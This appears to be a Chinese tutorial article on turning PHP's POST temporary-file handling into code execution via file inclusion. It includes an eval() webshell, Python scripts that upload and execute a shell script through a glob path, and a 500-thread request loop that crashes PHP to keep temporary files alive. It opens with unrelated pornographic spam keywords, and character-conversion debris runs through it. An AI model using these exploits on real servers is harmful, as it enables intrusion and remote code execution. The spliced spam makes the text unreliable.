欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

利用PHP?POST臨時文件機制實現(xiàn)任意文件上傳的方法詳解

 更新時間:2022年04月21日 16:00:14   作者:zzzzls~  
這篇文章主要介紹了利用?PHP?POST?臨時文件機制實現(xiàn)任意文件上傳,同時該過程也會打斷 php 對臨時文件的處理,雖然最終仍會被刪除,但相較之前可以明顯看出臨時文件在磁盤的中存在的時間變長了,需要的朋友可以參考下

原理

向 PHP 發(fā)送 Post 數(shù)據(jù)包,如果數(shù)據(jù)包中包含文件,無論 php 代碼中有沒有處理文件上傳的邏輯,php 都會將這個文件保存為一個臨時文件

  • 該文件默認存儲在 /tmp 目錄中『可通過 php.iniupload_tmp_dir 指定存儲位置』
  • 文件名為 php[6個隨機字符],例:phpG4ef0q
  • 若本次請求正常結束,臨時文件會被自動刪除
  • 若非正常結束,比如崩潰,臨時文件可能會被永久保留

文件包含漏洞找不到可以利用的文件時,即可利用這個方法,找到臨時文件名,然后包含之!

如何獲取臨時文件名

$_FILES

可以通過 $_FILES 獲取文件信息

Array
(
    [name] => run.sh
    [full_path] => run.sh
    [type] => 
    [tmp_name] => /tmp/phpoFnbQf
    [error] => 0
    [size] => 10
)

phpinfo

phpinfo 頁面會將當前請求上下文中所有變量都打印出來,若我們直接向 phpinfo頁面送包含文件的 post請求,則即可在返回包里找到 $_FILES 變量的內(nèi)容,從而拿到臨時文件名

glob

若上述方法都無法實施,在 Linux 中,還可以通過 glob 通配符 定位文件

glob 簡單使用:

  • * :代替 0 個或 任意個字符
  • ? :代替 1 個字符
  • [...]:匹配其中一個字符,例 [a,b,c] 匹配字符
  • a / b / c{a, b}:匹配 a 或者 b

如何利用該文件

組合請求

雖然文件在請求結束后就自動刪除了,但是我們可以把執(zhí)行 shell 和 上傳文件 組合在一個請求中,php 代碼如下:

該 php 可以直接執(zhí)行 shell, 但本例僅為展示如何利用臨時文件

# a.php
<?php
	$code = $_GET['code'];
	eval($code);
?>

Python 腳本利用

# run.sh 文件內(nèi)容:
# echo $PATH

import requests
# 上傳文件同時,執(zhí)行 shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

延長臨時文件存在時間

部分情況下,我們無法將 上傳文件 和 執(zhí)行shell 組合在一起,利用下述方法使得文件存在更多時間,從而在其他位置進行利用!

可以通過 文件包含 讓 php 包含自身從而導致死循環(huán),隨后 php 守護進程會因內(nèi)存溢出而崩潰,但是 php 自身是不會因為錯誤直接退出的,它會清空自己的內(nèi)存堆棧,以便從錯誤中恢復,這就保證了 web 服務的正常運轉(zhuǎn)。

同時該過程也會打斷 php 對臨時文件的處理,雖然最終仍會被刪除,但相較之前可以明顯看出臨時文件在磁盤的中存在的時間變長了!

基于此,我們便可以編寫并發(fā)腳本,不斷發(fā)起 post 文件的請求

import requests
from threading import Thread
def test():
    url = "http://localhost:8080/include.php?file=include.php"
    r = requests.post(url, files={'file': open('./run.sh')})
    print(r.text)
lst = []
for _ in range(500):
    t = Thread(target=test)
    lst.append(t)
    t.start()
for item in lst:
    item.join()

可以看到,當我們在請求時,磁盤中總是存在尚未被刪除的臨時文件。直至請求停止,文件被全部刪除

于此同時,便可以在其他地方使用上述 glob 路徑通配符泛式加載臨時文件

import requests

url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.get(url)
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

參考

無字母數(shù)字webshell之提高篇

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

PHP臨時文件機制與利用的思考

https://www.anquanke.com/post/id/183046

PHP文件包含漏洞(利用phpinfo)復現(xiàn)

https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

glob(7) — Linux manual page

https://man7.org/linux/man-pages/man7/glob.7.html

操作文件和目錄

http://billie66.github.io/TLCL/book/chap05.html

到此這篇關于利用 PHP POST 臨時文件機制實現(xiàn)任意文件上傳的文章就介紹到這了,更多相關php post任意文件上傳內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

最新評論